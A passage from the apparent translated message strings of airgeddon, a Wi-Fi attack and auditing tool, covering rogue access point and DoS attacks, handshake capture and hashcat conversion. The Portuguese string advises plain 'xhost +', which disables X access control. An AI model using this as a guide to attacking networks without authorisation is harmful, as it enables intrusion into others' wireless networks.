обслуживании не будет работать, поскольку это важная часть атаки и, вероятно, сделает ее неэффективной \${normal_color}\${visual_choice}" arr["GREEK",696]="\${blue_color}Η διεπαφή \${normal_color}\${current_iface_on_messages}\${blue_color} που έχετε επιλέξει δεν υποστηρίζει VIF (Virtual Interface). Αυτή η επίθεση χρειάζεται να αναπτυχθεί εικονικά για να δημιουργήσει το πλαστό σημείο πρόσβασης ενώ εκτελεί επίσης άρνηση υπηρεσίας (DoS). \${green_color}Θέλετε να συνεχίσετε;\${pink_color} Εάν το κάνετε, η άρνηση υπηρεσίας δεν θα λειτουργήσει ως σημαντικό μέρος της επίθεσης και καθιστώντας την πιθανώς αναποτελεσματική \${normal_color}\${visual_choice}" arr["ITALIAN",696]="\${blue_color}L'interfaccia \${normal_color}\$ {current_iface_on_messages}\${blue_color} che hai selezionato non supporta VIF (Virtual Interface). Questo attacco ne ha bisogno per dispiegarsi virtualmente e creare il punto di accesso falso mentre esegue il denial of service (DoS). \${green_color}Vuoi continuare?\${pink_color} Se lo fai, il denial of service non funzionerà essendo una parte importante dell'attacco e rendendolo probabilmente inefficace \${normal_color}\${visual_choice}" arr["POLISH",696]="\${blue_color}Interfejs \${normal_color}\${current_iface_on_messages}\${blue_color}, który wybrałeś, nie obsługuje VIF (Virtual Interface). Jest on wymagany w tym ataku aby stworzyć fałszywy punkt dostępu, jednocześnie przeprwadzając atak DoS (Denial of Service - odmowę usługi). \${green_color}Czy chcesz kontynuować?\${pink_color} Jeśli to zrobisz, DoS (odmowa usługi) się nie odbędzie najprawdopodobniej sprawi, że atak będzie nieskuteczny \${normal_color}\${visual_choice}" arr["GERMAN",696]="\${blue_color}Die von Ihnen ausgewählte Interface \${normal_color}\${current_iface_on_messages}\${blue_color} unterstützt kein VIF (Virtual Interface). Dieser Angriff muss sich virtuell entfalten, um den gefälschten Access Point zu erstellen und gleichzeitig Denial-of-Service (DoS) durchzuführen. \${green_color}Möchten Sie fortfahren?\${pink_color} Wenn Sie dieses tun, funktioniert der Denial-of-Service nicht, ein wichtiger Teil des Angriffs, und macht ihn wahrscheinlich ineffektiv \${normal_color}\${visual_choice}" arr["TURKISH",696]="\${blue_color}Seçtiğiniz arayüz \${normal_color}\${current_iface_on_messages}\${blue_color} VIF (Virtual Interface) desteklemiyor. Bu saldırının, hizmet reddi (DoS) gerçekleştirirken, sahte erişim noktası oluşturmak için sanal olarak kendisini açması gerekiyor. \${green_color}Devam etmek istiyor musunuz?\${pink_color} Bunu yaparsanız, saldırının önemli bir parçası olan hizmet reddi (DoS) işe yaramayacak ve muhtemelen etkisiz kalacaktır. \${normal_color}\${visual_choice}" arr["ARABIC",696]="\${normal_color}\${visual_choice}\${pink_color} إذا فعلت ذلك ، فلن يعمل رفض الخدمة باعتباره جزءًا مهمًا من الهجوم ويجعله غير فعال على الأرجح \${green_color}هل تريد المتابعة؟\${blue_color} .(DoS) يحتاج هذا الهجوم إلى الكشف عن نفسه فعليًا لإنشاء نقطة الوصول المارقة أثناء أداء رفض الخدمة .(Virtual Interface) VIF الوجهة التي حددتها لا تدعم ال \${normal_color}\${current_iface_on_messages}\${blue_color}" arr["CHINESE",696]="\${blue_color}您选择的网络接口\${normal_color}\${current_iface_on_messages}\${blue_color}不支持 VIF (虚拟接口) 。这种攻击需要它以虚拟方式创建自身伪造的访问点,同时还要执行拒绝服务攻击 (DoS)。\${green_color}你想继续吗?\${pink_color} 如果继续,拒绝服务攻击部分可能失效 \${normal_color}\${visual_choice}" arr["ENGLISH",697]="If you have any doubt or problem, you can check Wiki FAQ section (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) or ask in our Discord server: \${normal_color}https://discord.gg/sQ9dgt9" arr["SPANISH",697]="Si tienes cualquier duda o problema, puedes consultar la sección FAQ del Wiki (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) o preguntar en nuestro servidor de Discord. Enlace de invitación: \${normal_color}https://discord.gg/sQ9dgt9" arr["FRENCH",697]="Si vous avez des questions ou des problèmes, vous pouvez consulter la section FAQ du Wiki (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) ou poser des questions sur notre serveur de Discord. Lien d'invitation: \${normal_color}https://discord.gg/sQ9dgt9" arr["CATALAN",697]="Si tens qualsevol dubte o problema, pots consultar la secció FAQ de l'Wiki (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) o preguntar al nostre canal de Discord. Enllaç d'invitació: \${normal_color}https://discord.gg/sQ9dgt9" arr["PORTUGUESE",697]="Se você tiver alguma dúvida ou problema, pode consultar o FAQ e a Wiki (\${normal_color}\${urlgithub_wiki}/wiki/FAQ%20&%20Troubleshooting\${pink_color}) ou perguntar em nosso servidor do Discord. Link de convite: \${normal_color}https://discord.gg/sQ9dgt9" arr["RUSSIAN",697]="Если у вас возникли какие-либо вопросы или проблемы, вы можете обратиться к разделу часто задаваемых вопросов на Wiki (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) либо задать вопрос в нашем Discord канале: \${normal_color}https://discord.gg/sQ9dgt9" arr["GREEK",697]="Εάν έχετε οποιαδήποτε αμφιβολία ή πρόβλημα, μπορείτε να συμβουλευτείτε την ενότητα FAQ του Wiki (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) ή ρωτήστε στο Discord server μας. Σύνδεσμος πρόσκλησης: \${normal_color}https://discord.gg/sQ9dgt9" arr["ITALIAN",697]="Se hai domande o problemi, puoi consultare la sezione FAQ della Wiki(\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) o chiedere sul nostro server di Discord. Link di invitazione: \${normal_color}https://discord.gg/sQ9dgt9" arr["POLISH",697]="Jeśli masz jakieś pytania lub problemy, możesz zapoznać się z sekcją FAQ na Wiki (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) lub zapytać na naszym Discordzie. Link do zaproszenia: \${normal_color}https://discord.gg/sQ9dgt9" arr["GERMAN",697]="Wenn Sie Fragen oder Probleme haben, können Sie sich den FAQ-Bereich des Wikis anschauen (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) oder auf unserem Discord-Server fragen: \${normal_color}https://discord.gg/sQ9dgt9" arr["TURKISH",697]="Herhangi bir şüpheniz veya sorununuz varsa, Wiki'nin SSS bölümünü kontrol edebilir (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) veya Discord sunucumuzda sorabilirsiniz: \${normal_color}https://discord.gg/sQ9dgt9" arr["ARABIC",697]="\${normal_color}https://discord.gg/sQ9dgt9 \${pink_color}:الخاص بنا Discord او ال (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) Wiki اذا لديك اي مشكله او سؤال, يمكنك التحقق من قسم الاسئله الشائعه في ال" arr["CHINESE",697]="如果你有任何疑问或问题,你可以查看 Wiki 常见问题解答部分 (\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting\${pink_color}) 或在我们的 Discord 服务器中询问:\${normal_color}https://discord.gg/sQ9dgt9 (需要科学上网)" arr["ENGLISH",698]="The port \${normal_color}\${busy_port}/\${port_type}\${red_color} is being used by some program or process different from airgeddon (probably \${normal_color}\${blocking_process_name}\${red_color}). The attack will not be able to be carried out because airgeddon needs that port to perform it. Please release the port by terminating the process that is causing the conflict in order to be able to perform this attack" arr["SPANISH",698]="El puerto \${normal_color}\${busy_port}/\${port_type}\${red_color} está siendo utilizado por algún programa o proceso ajeno a airgeddon (probablemente \${normal_color}\${blocking_process_name}\${red_color}). El ataque no se podrá llevar a cabo debido a que airgeddon necesita ese puerto para llevarlo acabo. Por favor, libera el puerto terminando el proceso que está causando el conflicto para que se pueda realizar este ataque" arr["FRENCH",698]="Le port \${normal_color}\${busy_port}/\${port_type}\${red_color} est utilisé par un programme ou processus autre que airgeddon (probablement \${normal_color}\${blocking_process_name}\${red_color}). L'attaque ne peut pas être exécutée car airgeddon a besoin de ce port pour le faire correctement. Veuillez libérer le port en finissant le processus afin que cette attaque puisse être effectuée" arr["CATALAN",698]="El port \${normal_color}\${busy_port}/\${port_type}\${red_color} està sent utilitzat per algun programa o procés aliè a airgeddon (probablement \${normal_color}\${blocking_process_name}\${red_color}). L'atac no es podrà dur a terme a causa de que airgeddon necessita aquest port per portar-ho a terme. Si us plau, allibera el port acabant el procés que està causant el conflicte perquè es pugui realitzar aquest atac" arr["PORTUGUESE",698]="A porta \${normal_color}\${busy_port}/\${port_type}\${red_color} está sendo usada por outro programa ou processo (provavelmente \${normal_color}\${blocking_process_name}\${red_color}). O ataque não pode ser executado porque o airgeddon precisa dessa porta, libere-a encerrando o processo que está causando o conflito para que o ataque possa ser executado" arr["RUSSIAN",698]="Порт \${normal_color}\${busy_port}/\${port_type}\${red_color} уже используется другой программой или процессом (вероятно это \${normal_color}\${blocking_process_name}\${red_color}). Невозможно начать атаку. Чтобы произвести атаку, освободите порт, завершив процесс, который использует его в данный момент" arr["GREEK",698]="Η θύρα \${normal_color}\${busy_port}/\${port_type}\${red_color} χρησιμοποιείται από κάποιο πρόγραμμα ή διεργασία διαφορετική από το airgeddon (πιθανώς \${normal_color}\${blocking_process_name}\${red_color}). Η επίθεση δεν θα μπορεί να πραγματοποιηθεί επειδή το airgeddon χρειάζεται τη θύρα για να την εκτελέσει. Παρακαλώ απελευθερώστε τη θύρα τερματίζοντας τη διεργασία που προκαλεί τη σύγκρουση, ώστε αυτή η επίθεση να μπορεί να εκτελεστεί" arr["ITALIAN",698]="La porta \${normal_color}\${busy_port}/\${port_type}\${red_color} è utilizzata da qualche programma o processo diverso da airgeddon (probabilmente \${normal_color}\${blocking_process_name}\${red_color}). L'attacco non può essere effettuato perché airgeddon ha bisogno di quella porta per eseguirlo. Si prega di liberare la porta terminando il processo che sta causando il conflitto in modo che questo attacco possa essere eseguito" arr["POLISH",698]="Port \${normal_color}\${busy_port}/\${port_type}\${red_color} jest używany przez program lub proces inny niż airgeddon (prawdopodobnie \${normal_color}\${blocking_process_name}\${red_color}). Atak nie może zostać przeprowadzony, ponieważ ten port jest niezbędny aby go przeprowadzić. Zwolnij port, przerywając proces powodujący konflikt, aby można było przeprowadzić ten atak" arr["GERMAN",698]="Der Port \${normal_color}\${busy_port}/\${port_type}\${red_color} wird von einem anderen Prozess verwendet (wahrscheinlich \${normal_color}\${blocking_process_name}\${red_color}). Der Angriff kann nicht ausgeführt werden, da airgeddon diesen Port benötigt, um ihn auszuführen. Bitte geben Sie den Port frei, indem Sie den Prozess beenden, der den Konflikt verursacht, damit dieser Angriff ausgeführt werden kann" arr["TURKISH",698]="Port \${normal_color}\${busy_port}/\${port_type}\${red_color}, başka bir işlem tarafından kullanılıyor (muhtemelen \${normal_color}\${blocking_process_name}\${red_color}). Saldırı gerçekleştirilemiyor çünkü airgeddon'un bu porta ihtiyacı var. Lütfen bu saldırının gerçekleştirilebilmesi için çakışmaya sebep olan işlemi sonlandırarak portu serbest bırakın." arr["ARABIC",698]="يحتاج الي ذلك المنفذ لتنفيذ . يرجي تحرير المنفذ عن طريق إنهاء العملية التي تسبب التعارض حتى يمكن تنفيذ هذا الهجوم airgeddon لا يمكن تنفيذ الهجوم الان .(المحتمل \${normal_color}\${blocking_process_name}\${red_color}) airgeddon يتم استخدامه بواسطة برنامج او عملية اخرى غير \${normal_color}\${busy_port}/\${port_type}\${red_color} المنفذ" arr["CHINESE",698]="端口 \${normal_color}\${busy_port}/\${port_type}\${red_color} 被一些不同于 airgeddon 的程序或进程使用 (可能是 \${normal_color}\${blocking_process_name}\${red_color})。攻击将无法进行,因为 airgeddon 需要该端口来执行它。请通过终止导致冲突的进程来释放端口,以便能够执行此攻击" arr["ENGLISH",699]="Do you have any problem with your wireless card? Do you want to know what card could be nice to be used in airgeddon? Check wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["SPANISH",699]="¿Tienes algún problema con tu tarjeta inalámbrica? ¿Quieres saber qué tarjeta podría ser buena para usar en airgeddon? Consulta el wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["FRENCH",699]="Avez-vous un problème avec votre carte WiFi? Voulez-vous savoir quelle carte pourrait être utilisée dans airgeddon? Vérifiez le wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["CATALAN",699]="¿Tens algun problema amb la teva targeta sense fil? ¿Vols saber quina targeta podria ser bona per utilitzar-la a airgeddon? Comproveu la wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["PORTUGUESE",699]="Você tem um problema com sua placa de rede? Gostaria de saber qual é compatível com airgeddon? Verifique na wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["RUSSIAN",699]="Проблемы с WiFi адаптером? Хотите найти неплохой адаптер для работы с airgeddon? Посмотрите нашу wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["GREEK",699]="Έχετε κάποιο πρόβλημα με την ασύρματη κάρτα σας; Θέλετε να μάθετε ποια κάρτα θα ήταν καλό να χρησιμοποιηθεί στο airgeddon; Ελέγξτε στο wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["ITALIAN",699]="Hai qualche problema con la tua scheda wireless? Vuoi sapere quale scheda potrebbe essere buona da utilizzare con airgeddon? Controlla la wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipset" arr["POLISH",699]="Masz jakiś problem z kartą bezprzewodową? Chcesz wiedzieć, jaka karta mogłaby być fajna do wykorzystania w airgeddon? Sprawdź wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["GERMAN",699]="Haben Sie Probleme mit Ihrer WLAN-Karte? Möchten Sie wissen, welche Karte in airgeddon schön benutzt werden könnte? Überprüfen Sie das Wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["TURKISH",699]="Kablosuz kartınızda herhangi bir sorun mu var? airgeddon'da hangi kartın çalışabileceğini bilmek ister misiniz? Wiki'mizi kontrol edin: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["ARABIC",699]="\${normal_color}\${urlgithub_wiki}/Cards٪20and٪20Chipsets \${pink_color}:؟ تحقق من الموقعairgeddon هل لديك اي مشكلة مع البطاقة اللاسلكية ؟ هل تريد ان تعرف ما هي البطاقة التي قد تكون لطيفة الاستخدام في" arr["CHINESE",699]="你的无线网卡有问题吗?你想知道在 airgeddon 中使用什么网卡比较好吗?点击查看: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["ENGLISH",700]="It seems the captured Handshake is not a WPA2 Handshake and therefore is not valid. Probably the network is in WPA2/WPA3 \"Mixed mode\" and the client was using WPA3. Try again or wait until there are clients using WPA2" arr["SPANISH",700]="Parece que el Handshake capturado no es WPA2 y por tanto no es válido. Probablemente la red está en WPA2/WPA3 \"Mixed mode\" y el cliente estaba usando WPA3. Inténtalo de nuevo o espera hasta que haya clientes que utilicen WPA2" arr["FRENCH",700]="Il semble que le Handshake capturée n'est pas WPA2, donc il est invalide. Le réseau est probablement en WPA2/WPA3 \"Mixed mode\" et le client utilisait WPA3. Veuillez vous réessayer ou attendre jusqu'à ce qu'il y ait des clients qui utilisent WPA2" arr["CATALAN",700]="Sembla que el Handshake capturat no és WPA2 i per tant no és vàlid. Probablement la xarxa està en WPA2/WPA3 \"Mixed mode\" i el client estava usant WPA3. Intenta-ho de nou o espera fins que hi hagi clients que utilitzin WPA2" arr["PORTUGUESE",700]="Parece que o Handshake capturado não é WPA2, ou seja, inválido. A rede provavelmente está em WPA2/WPA3 \"Mixed mode\" e o cliente estava usando WPA3. Por favor, tente novamente ou espere até que haja clientes usando WPA2" arr["RUSSIAN",700]="Похоже, что захваченный хендшейк не является WPA2 и поэтому недействителен. Вероятно, сеть находится в WPA2/WPA3 \"Mixed mode\" и клиент использует WPA3. Повторите попытку или подождите, пока появятся клиенты, использующие WPA2" arr["GREEK",700]="Φαίνεται ότι η Χειραψία που καταγράφηκε δεν είναι WPA2 και επομένως δεν είναι έγκυρη. Το δίκτυο είναι πιθανώς σε WPA2/WPA3 \"Mixed mode\" και ο πελάτης χρησιμοποιούσε WPA3. Δοκιμάστε ξανά ή περιμένετε μέχρι να υπάρξουν πελάτες που χρησιμοποιούν WPA2" arr["ITALIAN",700]="Sembra che l'Handshake catturato non sia WPA2 e quindi non è valido. La rete è probabilmente in WPA2/WPA3 \"Mixed mode\" e il cliente utilizzava WPA3. Riprova o attendi finché non ci sono clienti che utilizzano WPA2" arr["POLISH",700]="Wygląda na to, że przechwycony Handshake nie jest WPA2 i dlatego jest nieprawidłowy. Sieć jest prawdopodobnie w trybie WPA2/WPA3 \"Mixed mode\", a klient używał WPA3. Spróbuj ponownie lub poczekaj, aż będą podłączeni klienci korzystający z WPA2" arr["GERMAN",700]="Es scheint, dass der erfasste Handshake nicht ein WPA2-Handshake ist, daher ist es ungültig. Das Netzwerk befindet sich wahrscheinlich im WPA2/WPA3 \"Mixed mode\" und der Client hat WPA3 verwendet. Bitte versuchen Sie es erneut oder warten Sie, bis Clients, die WPA2 verwenden, erscheinen" arr["TURKISH",700]="Yakalanan Handshake WPA2 olmadığı ve dolayısıyla geçersiz olduğu görülüyor. Ağ muhtemelen WPA2/WPA3 \"Mixed mode\" da ve istemci WPA3 kullanıyordu. Lütfen tekrar deneyin veya WPA2 kullanan istemciler olana kadar bekleyin" arr["ARABIC",700]="WPA2 يرجى المحاولة مرة أخرى أو الانتظار حتى يتوفر عملاء يستخدمون .WPA3 و كان العميل يستخدم WPA2/WPA3 \"Mixed mode\" و لهذى هي ليست صالحة للاستخدام. ربما تكون الشبكة في WPA2 يبدو ان المصافحة ليست مصافحة" arr["CHINESE",700]="捕获的握手包似乎不是 WPA2 所产生的,因此无效。该网络可能处于 WPA2/WPA3 “混合模式” 请重试或等到有客户端使用 WPA2 进行连接" arr["ENGLISH",701]="It has been detected that you are using a version of Linux under Windows (WSL Windows Subsystem for Linux), but airgeddon does not support this type of system" arr["SPANISH",701]="Se ha detectado que estás utilizando una versión de Linux en Windows (WSL Windows Subsystem for Linux), pero airgeddon no es compatible con este tipo de sistema" arr["FRENCH",701]="Il a été détecté que vous utilisez une version de Linux sur Windows (WSL Windows Subsystem for Linux), mais airgeddon n'est pas compatible avec ce type de système" arr["CATALAN",701]="S'ha detectat que utilitzeu una versió de Linux al Windows (WSL Windows Subsystem for Linux), però airgeddon no és compatible amb aquest tipus de sistema" arr["PORTUGUESE",701]="Foi detectado que você está usando uma versão do Linux no Windows (WSL Windows Subsystem for Linux). O airgeddon não é compatível esse tipo de sistema" arr["RUSSIAN",701]="Было обнаружено, что вы используете версию Linux для Windows (WSL Windows Subsystem for Linux), но airgeddon не поддерживает этот тип системы." arr["GREEK",701]="Έχει εντοπιστεί ότι χρησιμοποιείτε μια έκδοση του Linux σε Windows (WSL Windows Subsystem for Linux), αλλά το airgeddon δεν υποστηρίζει αυτόν τον τύπο συστήματος" arr["ITALIAN",701]="È stato rilevato che stai utilizzando una versione di Linux su Windows (WSL Windows Subsystem for Linux), peró airgeddon non supporta questo tipo di sistema" arr["POLISH",701]="Wykryto, że używasz wersji systemu Linux w systemie Windows (WSL Windows Subsystem for Linux), lecz airgeddon nie obsługuje tego typu systemu" arr["GERMAN",701]="Es wurde festgestellt, dass Sie eine Version von Linux unter Windows (WSL Windows Subsystem for Linux) verwenden, aber airgeddon unterstützt diesen Systemtyp nicht" arr["TURKISH",701]="Windows'ta bir Linux sürümü (WSL Windows Subsystem for Linux) kullandığınız tespit edildi, ancak airgeddon bu tür bir sistemi desteklemiyor" arr["ARABIC",701]="لا يدعم هذا النوع من النظام airgeddon لكن ،Windows (WSL Windows Subsystem for Linux) علي Linux تم اكتشاف أنك تستخدم إصدارًا من" arr["CHINESE",701]="检测到您使用的是 Windows 下的 Linux 子系统 WSL (Windows Subsystem for Linux),但 airgeddon 不支持该类型系统" arr["ENGLISH",702]="Thanks to our sponsors for their support:" arr["SPANISH",702]="Gracias a nuestros patrocinadores por su apoyo:" arr["FRENCH",702]="Merci à nos sponsors pour leur soutien:" arr["CATALAN",702]="Gràcies als nostres sponsors pel seu suport:" arr["PORTUGUESE",702]="Um obrigado pelo apoio dos nossos patrocinadores:" arr["RUSSIAN",702]="Спасибо нашим спонсорам за поддержку:" arr["GREEK",702]="Ευχαριστούμε τους χορηγούς μας για την υποστήριξή τους:" arr["ITALIAN",702]="Grazie ai nostri sponsor per il loro supporto:" arr["POLISH",702]="Dziękujemy naszym sponsorom za wsparcie:" arr["GERMAN",702]="Danke an unsere Sponsoren für ihre Unterstützung:" arr["TURKISH",702]="Destekleri için sponsorlarımıza teşekkür ederiz:" arr["ARABIC",702]=":شكرا لرعايتكم" arr["CHINESE",702]="感谢赞助商的支持:" arr["ENGLISH",703]="The hashcat version you have installed (\${hashcat_version}) is greater or equal than \${hashcat_hcx_conversion_version} so you need to convert the capture files, airgeddon will do this automatically. To do this you need a converter that is not present on your system (hcxpcapngtool command from hcxtools package), install it to be able to perform this attack" arr["SPANISH",703]="La versión hashcat que tienes instalada (\${hashcat_version}) es igual o superior a la \${hashcat_hcx_conversion_version}por lo que es necesario convertir los ficheros de captura, airgeddon lo hará automáticamente. Pero para ello hace falta un conversor que no está presente en tu sistema (comando hcxpcapngtool del paquete hcxtools), instálalo para poder realizar este ataque" arr["FRENCH",703]="La version de hashcat que vous avez installée (\${hashcat_version}) est supérieure ou égale à \${hashcat_hcx_conversion_version}. Donc, vous devez convertir les fichiers de capture mais airgeddon le fera automatiquement. Pour cet affaire, vous avez besoin d'un convertisseur qui n'est pas présent sur votre système (commande hcxpcapngtool du package hcxtools), installez-le pour pouvoir effectuer cette attaque" arr["CATALAN",703]="La versió hashcat que tens instal·lada (\${hashcat_version}) és major o igual que \${hashcat_hcx_conversion_version}, de manera que heu de convertir els fitxers de captura, airgeddon ho farà automàticament. Però per això cal un convertidor que no és present al teu sistema (ordre hcxpcapngtool del paquet hcxtools), instal·leu-lo per poder realitzar aquest atac." arr["PORTUGUESE",703]="A versão do hashcat que você instalou (\${hashcat_version}) é maior ou igual a \${hashcat_hcx_conversion_version}, por esse motivo você precisa converter os arquivos de captura, o airgeddon fará isso automaticamente. Para fazer isso você precisa de um conversor que não esteja presente em seu sistema (comando hcxpcapngtool do pacote hcxtools), instale-o para poder realizar este ataque" arr["RUSSIAN",703]="Установленная вами версия hashcat (\${hashcat_version}) больше или равна \${hashcat_hcx_conversion_version}, поэтому вам необходимо преобразовать файлы захвата, airgeddon сделает это автоматически. Для этого вам нужен конвертер, которого нет в вашей системе (команда hcxpcapngtool из пакета hcxtools), установите его, чтобы иметь возможность выполнить эту атаку" arr["GREEK",703]="Η έκδοση hashcat που έχετε εγκαταστήσει (\${hashcat_version}) είναι μεγαλύτερη ή ίση από την \${hashcat_hcx_conversion_version}, επομένως πρέπει να μετατρέψετε τα αρχεία καταγραφής, το airgeddon θα το κάνει αυτόματα. Για να το κάνετε αυτό χρειάζεστε έναν μετατροπέα που δεν υπάρχει στο σύστημά σας (εντολή hcxpcapngtool από το πακέτο hcxtools), εγκαταστήστε τον για να μπορέσετε να εκτελέσετε αυτήν την επίθεση" arr["ITALIAN",703]="La versione di hashcat che hai installato (\${hashcat_version}) è maggiore o uguale a \${hashcat_hcx_conversion_version} quindi devi convertire i files di cattura, airgeddon lo farà automaticamente. Per fare ciò è necessario un convertitore che non è presente sul tuo sistema (comando hcxpcapngtool dal pacchetto hcxtools), installalo per poter eseguire questo attacco" arr["POLISH",703]="Zainstalowana wersja hashcat (\${hashcat_version}) jest większa lub równa \${hashcat_hcx_conversion_version}, więc musisz przekonwertować pliki przechwytywania. airgeddon zrobi to automatycznie ale potrzebuje konwertera, którego nie ma w Twoim systemie (polecenie hcxpcapngtool z pakietu hcxtools). Zainstaluj go, aby móc wykonać ten atak" arr["GERMAN",703]="Die von Ihnen installierte Hashcat-Version (\${hashcat_version}) ist größer oder gleich \${hashcat_hcx_conversion_version}, daher müssen Sie die Capture-Dateien konvertieren, airgeddon wird dies automatisch tun. Dazu benötigen Sie einen Konverter, der auf Ihrem System nicht vorhanden ist (Befehl hcxpcapngtool aus dem hcxtools-Paket). Installieren Sie ihn, um diesen Angriff ausführen zu können" arr["TURKISH",703]="Yüklü olan hashcat sürümü (\${hashcat_version}) \${hashcat_hcx_conversion_version} değerinden büyük veya eşittir, bu nedenle yakalama dosyalarını dönüştürmeniz gerekir, airgeddon bunu otomatik olarak yapacaktır. Bunu yapmak için sisteminizde olmayan bir dönüştürücüye ihtiyacınız var (hcxtools paketinden hcxpcapngtool komutu), bu saldırıyı yapabilmek için onu yükleyin" arr["ARABIC",703]="قم بتثبيته لتتمكن من تنفيذ هذا الهجوم ،(hcxtools من حزمة hcxpcapngtool) للقيام بذلك ، تحتاج إلى محول غير موجود على نظامك .سيقوم بذلك تلقائيًا airgeddon ،لذلك تحتاج إلى تحويل الملفات الملتقاطة \${hashcat_hcx_conversion_version} احدث من او مساوية ل (\${hashcat_version}) التي قمت بتثبيته Hashcat نسخة ال" arr["CHINESE",703]="您安装的 hashcat 版本 (\${hashcat_version}) 大于或等于 \${hashcat_hcx_conversion_version} 因此您需要转换捕获文件,airgeddon 会自动执行此操作。为此,您需要一个系统上不存在的转换器 (hcxtools 包中的 hcxpcapngtool 命令),安装它以便能够执行此攻击" arr["ENGLISH",704]="A Wayland graphics system has been detected but airgeddon was unable to detect resolution. Try executing \"\${normal_color}xhost +SI:localuser:root\${red_color}\" command before launching airgeddon. If it does not work, probably your system is missing one of these two commands \"loginctl\", \"xdpyinfo\". Install the needed packages and then try again. For the first one, package name is systemd, for the second one there are some possibilities (it may vary depending on your Linux distribution). Some suggested package names are: x11-utils, xdpyinfo or xorg-xdpyinfo" arr["SPANISH",704]="Se detectó un sistema de gráficos Wayland, pero airgeddon no pudo detectar la resolución. Intenta ejecutar el comando \"\${normal_color}xhost +SI:localuser:root\${red_color}\" antes de iniciar airgeddon. Si no funciona, probablemente a tu sistema le falta uno de estos dos comandos \"loginctl\", \"xdpyinfo\". Instala los paquetes necesarios y vuelve a intentarlo. Para el primero, el nombre del paquete es systemd, para el segundo hay varias posibilidades (puede variar dependiendo de su distribución de Linux). Algunos nombres de paquetes sugeridos son: x11-utils, xdpyinfo o xorg-xdpyinfo" arr["FRENCH",704]="Un système graphique Wayland a été détecté mais airgeddon n'a pas pu détecter la résolution. Essayez d'exécuter la commande \"\${normal_color}xhost +SI:localuser:root\${red_color}\" avant de executer airgeddon. Si cela ne marche pas, il manque probablement à votre système l'une de ces deux commandes \"loginctl\", \"xdpyinfo\". Installez les packages nécessaires et réessayez. Pour le premier, le nom du package est systemd, pour le second il y a quelques possibilités (cela peut varier selon votre distribution de Linux). Certains noms de packages suggérés sont: x11-utils, xdpyinfo ou xorg-xdpyinfo" arr["CATALAN",704]="S'ha detectat un sistema gràfic Wayland, però airgeddon no ha pogut detectar la resolució. Proveu d'executar l'ordre \"\${normal_color}xhost +SI:localuser:root\${red_color}\" abans de llançar airgeddon. Si no funciona, probablement al vostre sistema li falta una d'aquestes dues ordres \"loginctl\", \"xdpyinfo\". Instal·leu els paquets necessaris i torneu-ho a provar. Per al primer, el nom del paquet és systemd, per al segon hi ha algunes possibilitats (pot variar segons la vostra distribució de Linux). Alguns noms de paquets suggerits són: x11-utils, xdpyinfo o xorg-xdpyinfo" arr["PORTUGUESE",704]="Um ambiente gráfico Wayland foi detectado, mas o airgeddon não conseguiu detectar a resolução. Tente executar o comando \"\${normal_color}xhost +\${red_color}\" antes de iniciar o airgeddon. Se não funcionar, provavelmente seu ambiente não tem um dos seguintes comandos: \"loginctl\" ou \"xdpyinfo\". Instale os pacotes necessários e tente novamente. Para o primeiro, o nome do pacote é systemd, para o segundo existem algumas possibilidades podendo variar dependendo da sua distribuição Linux. Alguns nomes sugeridos são: x11-utils, xdpyinfo ou xorg-xdpyinfo" arr["RUSSIAN",704]="airgeddon обнаружил графическую систему Wayland, но не смог определить разрешение. Попробуйте выполнить команду \"\${normal_color}xhost +SI:localuser:root\${red_color}\" перед запуском. Если это не помогло, возможно, в вашей системе отсутствует одна из этих двух программ \"loginctl\", \"xdpyinfo\". Установите необходимые пакеты и повторите попытку. Название первого пакета - systemd, название второго пакета варьируется в зависимости от дистрибутива Linux. Предположительные имена пакетов: x11-utils, xdpyinfo или xorg-xdpyinfo" arr["GREEK",704]="Εντοπίστηκε ένα σύστημα γραφικών Wayland αλλά το airgeddon δεν μπόρεσε να ανιχνεύσει την ανάλυση. Δοκιμάστε να εκτελέσετε την εντολή \"\${normal_color}xhost +SI:localuser:root\${red_color}\" πριν ξεκινήσετε το airgeddon. Εάν δεν λειτουργεί, πιθανότατα από το σύστημά σας λείπει μία από αυτές τις δύο εντολές \"loginctl\", \"xdpyinfo\". Εγκαταστήστε τα απαραίτητα πακέτα και δοκιμάστε ξανά. Για το πρώτο, το όνομα πακέτου είναι systemd, για το δεύτερο υπάρχουν κάποιες δυνατότητες (μπορεί να διαφέρει ανάλογα με τη διανομή Linux σας). Μερικά προτεινόμενα ονόματα πακέτων είναι: x11-utils, xdpyinfo ή xorg-xdpyinfo" arr["ITALIAN",704]="È stato rilevato un sistema grafico Wayland ma airgeddon non è stato in grado di rilevare la risoluzione. Prova a eseguire il comando \"\${normal_color}xhost +SI:localuser:root\${red_color}\" prima di avviare airgeddon. Se non funziona, probabilmente nel tuo sistema manca uno di questi due comandi \"loginctl\", \"xdpyinfo\". Installa i pacchetti necessari e 